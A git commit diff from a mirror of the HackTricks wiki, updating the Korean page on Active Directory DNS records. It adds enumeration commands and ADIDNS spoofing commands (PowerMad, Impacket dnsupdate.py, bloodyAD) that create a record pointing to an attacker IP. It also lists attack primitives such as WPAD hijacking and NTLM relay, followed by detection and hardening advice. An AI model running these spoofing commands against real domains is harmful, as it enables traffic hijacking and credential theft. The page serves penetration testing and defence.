mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/ad-dns-r
This commit is contained in:
parent
7a0edce30c
commit
a399840858
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
기본적으로 **Active Directory**의 **모든 사용자**는 도메인 또는 포리스트 DNS 존에서 **모든 DNS 레코드**를 **열거**할 수 있으며, 이는 존 전송과 유사합니다(사용자는 AD 환경에서 DNS 존의 자식 객체를 나열할 수 있습니다).
|
||||
기본적으로 **Active Directory의 모든 사용자**는 도메인 또는 포리스트 DNS 존에서 **모든 DNS 레코드를 열거**할 수 있으며, 이는 존 전송과 유사합니다 (사용자는 AD 환경에서 DNS 존의 자식 객체를 나열할 수 있습니다).
|
||||
|
||||
도구 [**adidnsdump**](https://github.com/dirkjanm/adidnsdump)는 내부 네트워크의 정찰 목적을 위해 존의 **모든 DNS 레코드**를 **열거**하고 **내보내기** 할 수 있게 해줍니다.
|
||||
```bash
|
||||
@ -10,9 +10,70 @@ git clone https://github.com/dirkjanm/adidnsdump
|
||||
cd adidnsdump
|
||||
pip install .
|
||||
|
||||
# Enumerate the default zone and resolve the "hidden" records
|
||||
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
|
||||
|
||||
# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…)
|
||||
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones
|
||||
|
||||
# Dump a specific zone (e.g. ForestDnsZones)
|
||||
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r
|
||||
|
||||
cat records.csv
|
||||
```
|
||||
> adidnsdump v1.4.0 (2025년 4월)은 JSON/Greppable (`--json`) 출력을 추가하고, 다중 스레드 DNS 해상도 및 LDAPS에 바인딩할 때 TLS 1.2/1.3을 지원합니다.
|
||||
|
||||
자세한 정보는 [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)를 읽으세요.
|
||||
|
||||
---
|
||||
|
||||
## 레코드 생성 / 수정 (ADIDNS 스푸핑)
|
||||
|
||||
**Authenticated Users** 그룹은 기본적으로 존 DACL에서 **Create Child** 권한을 가지고 있기 때문에, 모든 도메인 계정(또는 컴퓨터 계정)은 추가 레코드를 등록할 수 있습니다. 이는 트래픽 하이재킹, NTLM 릴레이 강제 또는 전체 도메인 손상에 사용될 수 있습니다.
|
||||
|
||||
### PowerMad / Invoke-DNSUpdate (PowerShell)
|
||||
```powershell
|
||||
Import-Module .\Powermad.ps1
|
||||
|
||||
# Add A record evil.domain.local → attacker IP
|
||||
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose
|
||||
|
||||
# Delete it when done
|
||||
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose
|
||||
```
|
||||
### Impacket – dnsupdate.py (Python)
|
||||
```bash
|
||||
# add/replace an A record via secure dynamic-update
|
||||
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37
|
||||
```
|
||||
*(dnsupdate.py는 Impacket ≥0.12.0과 함께 제공됩니다)*
|
||||
|
||||
### BloodyAD
|
||||
```bash
|
||||
bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37
|
||||
```
|
||||
---
|
||||
|
||||
## 일반적인 공격 원시 요소
|
||||
|
||||
1. **와일드카드 레코드** – `*.<zone>`은 AD DNS 서버를 LLMNR/NBNS 스푸핑과 유사한 기업 전체 응답자로 변환합니다. NTLM 해시를 캡처하거나 LDAP/SMB로 릴레이하는 데 악용될 수 있습니다. (WINS 조회가 비활성화되어 있어야 합니다.)
|
||||
2. **WPAD 하이재킹** – `wpad`를 추가하거나 공격자 호스트를 가리키는 **NS** 레코드를 추가하여 Global-Query-Block-List를 우회하고, 자격 증명을 수집하기 위해 아웃바운드 HTTP 요청을 투명하게 프록시합니다. Microsoft는 와일드카드/DNAME 우회를 패치했지만 (CVE-2018-8320) **NS 레코드는 여전히 작동합니다**.
|
||||
3. **오래된 항목 인수** – 이전에 워크스테이션에 속했던 IP 주소를 주장하면 관련 DNS 항목이 여전히 해결되어 리소스 기반 제약 위임 또는 Shadow-Credentials 공격을 DNS에 전혀 손대지 않고 수행할 수 있습니다.
|
||||
4. **DHCP → DNS 스푸핑** – 기본 Windows DHCP+DNS 배포에서 동일한 서브넷의 인증되지 않은 공격자는 위조된 DHCP 요청을 보내 기존 A 레코드(도메인 컨트롤러 포함)를 덮어쓸 수 있습니다. 이는 동적 DNS 업데이트를 트리거합니다 (Akamai “DDSpoof”, 2023). 이는 Kerberos/LDAP에 대한 중간자 공격을 가능하게 하며 전체 도메인 인수로 이어질 수 있습니다.
|
||||
5. **Certifried (CVE-2022-26923)** – 제어하는 머신 계정의 `dNSHostName`을 변경하고, 일치하는 A 레코드를 등록한 다음, 해당 이름에 대한 인증서를 요청하여 DC를 가장합니다. **Certipy** 또는 **BloodyAD**와 같은 도구는 이 흐름을 완전히 자동화합니다.
|
||||
|
||||
---
|
||||
|
||||
## 탐지 및 강화
|
||||
|
||||
* 민감한 영역에서 **인증된 사용자**에게 *모든 자식 객체 생성* 권한을 거부하고, DHCP에서 사용하는 전용 계정에 동적 업데이트를 위임합니다.
|
||||
* 동적 업데이트가 필요한 경우, 영역을 **보안 전용**으로 설정하고 DHCP에서 **이름 보호**를 활성화하여 소유자 컴퓨터 객체만 자신의 레코드를 덮어쓸 수 있도록 합니다.
|
||||
* DNS 서버 이벤트 ID 257/252(동적 업데이트), 770(영역 전송) 및 `CN=MicrosoftDNS,DC=DomainDnsZones`에 대한 LDAP 쓰기를 모니터링합니다.
|
||||
* 위험한 이름(`wpad`, `isatap`, `*`)을 의도적으로 무해한 레코드로 차단하거나 Global Query Block List를 통해 차단합니다.
|
||||
* DNS 서버를 패치 상태로 유지합니다 – 예를 들어, RCE 버그 CVE-2024-26224 및 CVE-2024-26231은 **CVSS 9.8**에 도달했으며 도메인 컨트롤러에 대해 원격으로 악용될 수 있습니다.
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
* Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, 여전히 와일드카드/WPAD 공격에 대한 사실상의 참고 문헌)
|
||||
* Akamai – “DHCP DNS 동적 업데이트를 악용한 DNS 레코드 스푸핑” (2023년 12월)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user